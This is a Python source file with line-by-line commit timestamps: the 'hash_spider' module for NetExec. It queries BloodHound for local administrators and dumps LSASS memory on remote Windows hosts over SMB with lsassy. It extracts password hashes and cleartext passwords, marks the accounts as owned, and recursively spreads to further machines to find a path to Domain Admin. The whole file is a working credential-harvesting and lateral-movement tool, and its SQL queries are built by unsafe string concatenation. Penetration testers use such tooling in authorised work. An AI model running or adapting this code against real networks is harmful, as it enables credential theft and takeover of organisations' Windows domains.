2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
2023-04-05 03:16:54 +00:00
# Author: Peter Gormington (@hackerm00n on Twitter)
2023-03-30 19:11:55 +00:00
import logging
2022-07-18 21:18:40 +00:00
from sqlite3 import connect
2022-07-16 14:20:51 +00:00
from sys import exit
2022-01-31 20:18:47 +00:00
from neo4j import GraphDatabase , basic_auth
from neo4j . exceptions import AuthError , ServiceUnavailable
from lsassy . dumper import Dumper
from lsassy . parser import Parser
from lsassy . session import Session
from lsassy . impacketfile import ImpacketFile
credentials_data = [ ]
found_users = [ ]
reported_da = [ ]
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def neo4j_conn ( context , connection , driver ) :
2023-05-02 15:17:59 +00:00
if connection . config . get ( " BloodHound " , " bh_enabled " ) != " False " :
2023-04-05 03:16:54 +00:00
context . log . display ( " Connecting to Neo4j/Bloodhound. " )
2022-01-31 20:18:47 +00:00
try :
session = driver . session ( )
2022-07-16 14:20:51 +00:00
list ( session . run ( " MATCH (g:Group) return g LIMIT 1 " ) )
2023-04-05 03:16:54 +00:00
context . log . display ( " Connection Successful! " )
2023-09-20 15:59:16 +00:00
except AuthError :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Invalid credentials " )
2023-09-20 15:59:16 +00:00
except ServiceUnavailable :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Could not connect to neo4j database " )
2022-07-16 14:20:51 +00:00
except Exception as e :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Error querying domain admins " )
context . log . debug ( e )
2022-01-31 20:18:47 +00:00
else :
2023-09-14 21:07:15 +00:00
context . log . fail ( " BloodHound not marked enabled. Check nxc.conf " )
2023-04-05 03:16:54 +00:00
exit ( 1 )
2022-01-31 20:18:47 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def neo4j_local_admins ( context , driver ) :
2022-01-31 20:18:47 +00:00
try :
session = driver . session ( )
2023-05-08 18:39:36 +00:00
admins = session . run ( " MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC " ) # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
2023-09-22 13:56:04 +00:00
context . log . success ( " Admins and PCs obtained " )
except Exception as e :
context . log . fail ( f " Could not pull admins: { e } " )
return None
results = [ record for record in admins . data ( ) ]
return results
2022-01-31 20:18:47 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def create_db ( local_admins , dbconnection , cursor ) :
2023-05-08 18:39:36 +00:00
cursor . execute ( """ CREATE TABLE if not exists pc_and_admins ( " pc_name " TEXT UNIQUE, " local_admins " TEXT, " dumped " TEXT) """ )
2022-01-31 20:18:47 +00:00
for result in local_admins :
2023-05-02 15:17:59 +00:00
cursor . execute (
" INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?) " ,
(
result . get ( " COMPUTER " ) ,
str (
result . get ( " USERS " ) ,
) ,
" FALSE " ,
) ,
)
2022-01-31 20:18:47 +00:00
dbconnection . commit ( )
2023-05-08 18:39:36 +00:00
cursor . execute ( """ CREATE TABLE if not exists admin_users( " username " TEXT UNIQUE, " hash " TEXT, " password " TEXT) """ )
2022-01-31 20:18:47 +00:00
admin_users = [ ]
for result in local_admins :
2023-05-02 15:17:59 +00:00
for user in result . get ( " USERS " ) :
2022-01-31 20:18:47 +00:00
if user not in admin_users :
admin_users . append ( user )
for user in admin_users :
2023-09-22 13:56:04 +00:00
cursor . execute ( " INSERT OR IGNORE INTO admin_users(username) VALUES(?) " , [ user ] )
2022-01-31 20:18:47 +00:00
dbconnection . commit ( )
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def process_creds ( context , connection , credentials_data , dbconnection , cursor , driver ) :
2022-07-18 21:18:40 +00:00
if connection . args . local_auth :
2023-05-02 15:17:59 +00:00
context . log . extra [ " host " ] = connection . conn . getServerDNSDomainName ( )
2022-07-18 21:18:40 +00:00
else :
2023-05-02 15:17:59 +00:00
context . log . extra [ " host " ] = connection . domain
context . log . extra [ " hostname " ] = connection . host . upper ( )
2022-01-31 20:18:47 +00:00
for result in credentials_data :
2023-05-02 15:17:59 +00:00
username = result [ " username " ] . upper ( ) . split ( " @ " ) [ 0 ]
2022-01-31 20:18:47 +00:00
nthash = result [ " nthash " ]
password = result [ " password " ]
2023-03-30 20:36:58 +00:00
if result [ " password " ] is not None :
2023-05-08 18:39:36 +00:00
context . log . highlight ( f " Found a cleartext password for: { username } : { password } . Adding to the DB and marking user as owned in BH. " )
2023-05-02 15:17:59 +00:00
cursor . execute (
2023-05-08 18:39:36 +00:00
" UPDATE admin_users SET password = ? WHERE username LIKE ' " + username + " % ' " ,
2023-05-02 15:17:59 +00:00
[ password ] ,
)
2023-04-05 03:16:54 +00:00
username = f " { username . upper ( ) } @ { context . log . extra [ ' host ' ] . upper ( ) } "
2022-01-31 20:18:47 +00:00
dbconnection . commit ( )
session = driver . session ( )
2023-05-08 18:39:36 +00:00
session . run ( ' MATCH (u) WHERE (u.name = " ' + username + ' " ) SET u.owned=True RETURN u,u.name,u.owned ' )
if nthash == " aad3b435b51404eeaad3b435b51404ee " or nthash == " 31d6cfe0d16ae931b73c59d7e0c089c0 " :
2023-04-05 03:16:54 +00:00
context . log . fail ( f " Hash for { username } is expired. " )
2023-03-30 20:36:58 +00:00
elif username not in found_users and nthash is not None :
2023-05-08 18:39:36 +00:00
context . log . highlight ( f " Found hashes for: ' { username } : { nthash } ' . Adding them to the DB and marking user as owned in BH. " )
2022-01-31 20:18:47 +00:00
found_users . append ( username )
2023-05-02 15:17:59 +00:00
cursor . execute (
2023-05-08 18:39:36 +00:00
" UPDATE admin_users SET hash = ? WHERE username LIKE ' " + username + " % ' " ,
2023-05-02 15:17:59 +00:00
[ nthash ] ,
)
2022-01-31 20:18:47 +00:00
dbconnection . commit ( )
2023-04-05 03:16:54 +00:00
username = f " { username . upper ( ) } @ { context . log . extra [ ' host ' ] . upper ( ) } "
2022-01-31 20:18:47 +00:00
session = driver . session ( )
2023-05-08 18:39:36 +00:00
session . run ( ' MATCH (u) WHERE (u.name = " ' + username + ' " ) SET u.owned=True RETURN u,u.name,u.owned ' )
path_to_da = session . run ( " MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ ' .*DOMAIN ADMINS.* ' RETURN p " )
2022-01-31 20:18:47 +00:00
paths = [ record for record in path_to_da . data ( ) ]
2023-04-05 03:16:54 +00:00
2022-01-31 20:18:47 +00:00
for path in paths :
if path :
2023-03-30 19:11:55 +00:00
for key , value in path . items ( ) :
2022-01-31 20:18:47 +00:00
for item in value :
2023-09-22 13:56:04 +00:00
if isinstance ( item , dict ) :
2023-05-02 15:17:59 +00:00
if { item [ " name " ] } not in reported_da :
2023-05-08 18:39:36 +00:00
context . log . success ( f " You have a valid path to DA as { item [ ' name ' ] } . " )
2023-05-02 15:17:59 +00:00
reported_da . append ( { item [ " name " ] } )
2022-07-16 14:20:51 +00:00
exit ( )
2022-02-01 17:43:27 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def initial_run ( connection , cursor ) :
2022-02-01 17:43:27 +00:00
username = connection . username
password = getattr ( connection , " password " , " " )
nthash = getattr ( connection , " nthash " , " " )
2023-05-02 15:17:59 +00:00
cursor . execute (
" UPDATE admin_users SET password = ? WHERE username LIKE ' " + username + " % ' " ,
[ password ] ,
)
cursor . execute (
" UPDATE admin_users SET hash = ? WHERE username LIKE ' " + username + " % ' " ,
[ nthash ] ,
)
2022-02-01 17:43:27 +00:00
2023-03-30 19:11:55 +00:00
2023-09-17 20:20:40 +00:00
class NXCModule :
2023-04-05 03:16:54 +00:00
name = " hash_spider "
2023-05-08 18:39:36 +00:00
description = " Dump lsass recursively from a given hash using BH to find local admins "
2023-04-05 03:16:54 +00:00
supported_protocols = [ " smb " ]
2022-01-31 20:18:47 +00:00
opsec_safe = True
multiple_hosts = True
2023-04-05 03:16:54 +00:00
def __init__ ( self , context = None , module_options = None ) :
self . context = context
self . module_options = module_options
self . reset = None
self . reset_dumped = None
self . method = None
2023-09-22 13:56:04 +00:00
2023-07-03 20:14:16 +00:00
@staticmethod
def save_credentials ( context , connection , domain , username , password , lmhash , nthash ) :
host_id = context . db . get_computers ( connection . host ) [ 0 ] [ 0 ]
if password is not None :
2023-09-23 01:10:21 +00:00
credential_type = " plaintext "
2023-07-03 20:14:16 +00:00
else :
2023-09-23 01:10:21 +00:00
credential_type = " hash "
password = " : " . join ( h for h in [ lmhash , nthash ] if h is not None )
2023-07-03 20:14:16 +00:00
context . db . add_credential ( credential_type , domain , username , password , pillaged_from = host_id )
2023-09-22 13:56:04 +00:00
2022-01-31 20:18:47 +00:00
def options ( self , context , module_options ) :
"""
2023-03-30 19:11:55 +00:00
METHOD Method to use to dump lsass . exe with lsassy
RESET_DUMPED Allows re - dumping of hosts . ( Default : False )
RESET Reset DB . ( Default : False )
2022-01-31 20:18:47 +00:00
"""
2023-05-02 15:17:59 +00:00
self . method = " comsvcs "
if " METHOD " in module_options :
self . method = module_options [ " METHOD " ]
self . reset_dumped = module_options . get ( " RESET_DUMPED " , False )
self . reset = module_options . get ( " RESET " , False )
2022-07-18 21:18:40 +00:00
2023-05-08 18:39:36 +00:00
def run_lsassy ( self , context , connection , cursor ) : # copied and pasted from lsassy_dumper & added cursor
2023-03-30 19:11:55 +00:00
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
2023-04-05 03:16:54 +00:00
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
2023-03-30 19:11:55 +00:00
# so what we do is define "success" as a logging level, then do nothing with the output
2023-05-02 15:17:59 +00:00
logging . addLevelName ( 25 , " SUCCESS " )
setattr ( logging , " success " , lambda message , * args : ( ) )
2022-01-31 20:18:47 +00:00
host = connection . host
domain_name = connection . domain
username = connection . username
password = getattr ( connection , " password " , " " )
lmhash = getattr ( connection , " lmhash " , " " )
nthash = getattr ( connection , " nthash " , " " )
session = Session ( )
session . get_session (
address = host ,
target_ip = host ,
port = 445 ,
lmhash = lmhash ,
nthash = nthash ,
username = username ,
password = password ,
2023-05-02 15:17:59 +00:00
domain = domain_name ,
2022-01-31 20:18:47 +00:00
)
if session . smb_session is None :
2023-05-08 18:39:36 +00:00
context . log . fail ( " Couldn ' t connect to remote host. Password likely expired/changed. Removing from DB. " )
cursor . execute ( f " UPDATE admin_users SET hash = NULL WHERE username LIKE ' { username } ' " )
2022-01-31 20:18:47 +00:00
return False
2022-07-16 14:20:51 +00:00
dumper = Dumper ( session , timeout = 10 , time_between_commands = 7 ) . load ( self . method )
2022-01-31 20:18:47 +00:00
if dumper is None :
2023-09-24 04:06:51 +00:00
context . log . fail ( f " Unable to load dump method ' { self . method } ' " )
2022-01-31 20:18:47 +00:00
return False
file = dumper . dump ( )
if file is None :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Unable to dump lsass " )
2022-01-31 20:18:47 +00:00
return False
2022-07-16 14:20:51 +00:00
credentials , tickets , masterkeys = Parser ( file ) . parse ( )
2022-01-31 20:18:47 +00:00
file . close ( )
ImpacketFile . delete ( session , file . get_file_path ( ) )
if credentials is None :
credentials = [ ]
2023-05-08 18:39:36 +00:00
credentials = [ cred . get_object ( ) for cred in credentials if not cred . get_username ( ) . endswith ( " $ " ) ]
2022-01-31 20:18:47 +00:00
credentials_unique = [ ]
credentials_output = [ ]
for cred in credentials :
2023-05-02 15:17:59 +00:00
if [
cred [ " domain " ] ,
cred [ " username " ] ,
cred [ " password " ] ,
cred [ " lmhash " ] ,
cred [ " nthash " ] ,
] not in credentials_unique :
2023-09-23 01:10:21 +00:00
credentials_unique . append (
[
cred [ " domain " ] ,
cred [ " username " ] ,
cred [ " password " ] ,
cred [ " lmhash " ] ,
cred [ " nthash " ] ,
]
2023-09-22 13:56:04 +00:00
)
2023-09-23 01:10:21 +00:00
credentials_output . append ( cred )
self . save_credentials ( context , connection , cred [ " domain " ] , cred [ " username " ] , cred [ " password " ] , cred [ " lmhash " ] , cred [ " nthash " ] )
2022-01-31 20:18:47 +00:00
global credentials_data
credentials_data = credentials_output
2022-07-16 14:20:51 +00:00
def spider_pcs ( self , context , connection , cursor , dbconnection , driver ) :
2022-01-31 20:18:47 +00:00
cursor . execute ( " SELECT * from admin_users WHERE hash is not NULL " )
compromised_users = cursor . fetchall ( )
2023-05-08 18:39:36 +00:00
cursor . execute ( " SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE ' FALSE ' " )
2022-01-31 20:18:47 +00:00
admin_access = cursor . fetchall ( )
for user in compromised_users :
for pc in admin_access :
if user [ 0 ] in pc [ 1 ] :
2023-05-08 18:39:36 +00:00
cursor . execute ( f " SELECT * FROM pc_and_admins WHERE pc_name = ' { pc [ 0 ] } ' AND dumped NOT LIKE ' TRUE ' " )
2022-01-31 20:18:47 +00:00
more_to_dump = cursor . fetchall ( )
if len ( more_to_dump ) > 0 :
2023-05-08 18:39:36 +00:00
context . log . display ( f " User { user [ 0 ] } has more access to { pc [ 0 ] } . Attempting to dump. " )
2023-05-02 15:17:59 +00:00
connection . domain = user [ 0 ] . split ( " @ " ) [ 1 ]
setattr ( connection , " host " , pc [ 0 ] . split ( " . " ) [ 0 ] )
setattr ( connection , " username " , user [ 0 ] . split ( " @ " ) [ 0 ] )
2022-01-31 20:18:47 +00:00
setattr ( connection , " nthash " , user [ 1 ] )
2022-07-18 21:18:40 +00:00
setattr ( connection , " nthash " , user [ 1 ] )
2022-01-31 20:18:47 +00:00
try :
2023-04-05 03:16:54 +00:00
self . run_lsassy ( context , connection , cursor )
2023-05-08 18:39:36 +00:00
cursor . execute ( " UPDATE pc_and_admins SET dumped = ' TRUE ' WHERE pc_name LIKE ' " + pc [ 0 ] + " % ' " )
2022-07-19 10:45:38 +00:00
2023-05-02 15:17:59 +00:00
process_creds (
context ,
connection ,
credentials_data ,
dbconnection ,
cursor ,
driver ,
)
2023-05-08 18:39:36 +00:00
self . spider_pcs ( context , connection , cursor , dbconnection , driver )
2022-01-31 20:18:47 +00:00
except Exception :
2023-04-05 03:16:54 +00:00
context . log . fail ( f " Failed to dump lsassy on { pc [ 0 ] } " )
2022-01-31 20:18:47 +00:00
if len ( admin_access ) > 0 :
2023-05-08 18:39:36 +00:00
context . log . fail ( " No more local admin access known. Please try re-running Bloodhound with newly found accounts. " )
2022-07-16 14:20:51 +00:00
exit ( )
2023-03-30 19:11:55 +00:00
2022-01-31 20:18:47 +00:00
def on_admin_login ( self , context , connection ) :
2023-09-14 21:07:15 +00:00
db_path = connection . config . get ( " nxc " , " workspace " )
# DB will be saved at ./NetExec/hash_spider_default.sqlite3 if workspace in nxc.conf is "default"
2023-04-05 03:16:54 +00:00
db_name = f " hash_spider_ { db_path } .sqlite3 "
2023-05-02 15:17:59 +00:00
dbconnection = connect ( db_name , check_same_thread = False , isolation_level = None )
2023-04-05 03:16:54 +00:00
2022-07-16 14:20:51 +00:00
cursor = dbconnection . cursor ( )
2023-04-05 03:16:54 +00:00
if self . reset :
2022-07-18 21:18:40 +00:00
try :
cursor . execute ( " DROP TABLE IF EXISTS admin_users; " )
cursor . execute ( " DROP TABLE IF EXISTS pc_and_admins; " )
2023-04-05 03:16:54 +00:00
context . log . display ( " Database reset " )
2022-07-18 21:18:40 +00:00
exit ( )
except Exception as e :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Database reset error " , str ( e ) )
exit ( )
2022-07-18 21:18:40 +00:00
2023-03-30 19:11:55 +00:00
if self . reset_dumped :
2022-07-18 21:18:40 +00:00
try :
cursor . execute ( " UPDATE pc_and_admins SET dumped = ' False ' " )
2023-04-05 03:16:54 +00:00
context . log . display ( " PCs can be dumped again. " )
2022-07-18 21:18:40 +00:00
except Exception as e :
2023-04-05 03:16:54 +00:00
context . log . fail ( " Database update error " , str ( e ) )
exit ( )
2022-07-18 21:18:40 +00:00
2023-05-02 15:17:59 +00:00
neo4j_user = connection . config . get ( " BloodHound " , " bh_user " )
neo4j_pass = connection . config . get ( " BloodHound " , " bh_pass " )
neo4j_uri = connection . config . get ( " BloodHound " , " bh_uri " )
neo4j_port = connection . config . get ( " BloodHound " , " bh_port " )
2023-04-05 03:16:54 +00:00
neo4j_db = f " bolt:// { neo4j_uri } : { neo4j_port } "
2023-05-08 18:39:36 +00:00
driver = GraphDatabase . driver ( neo4j_db , auth = basic_auth ( neo4j_user , neo4j_pass ) , encrypted = False )
2022-07-16 14:20:51 +00:00
neo4j_conn ( context , connection , driver )
2023-09-22 13:56:04 +00:00
admin_results = neo4j_local_admins ( context , driver )
2022-07-16 14:20:51 +00:00
create_db ( admin_results , dbconnection , cursor )
initial_run ( connection , cursor )
2023-04-05 03:16:54 +00:00
context . log . display ( " Running lsassy " )
self . run_lsassy ( context , connection , cursor )
2023-05-08 18:39:36 +00:00
process_creds ( context , connection , credentials_data , dbconnection , cursor , driver )
2023-04-05 03:16:54 +00:00
context . log . display ( " 🕷️ Starting to spider 🕷️ " )
2022-07-16 14:20:51 +00:00
self . spider_pcs ( context , connection , cursor , dbconnection , driver )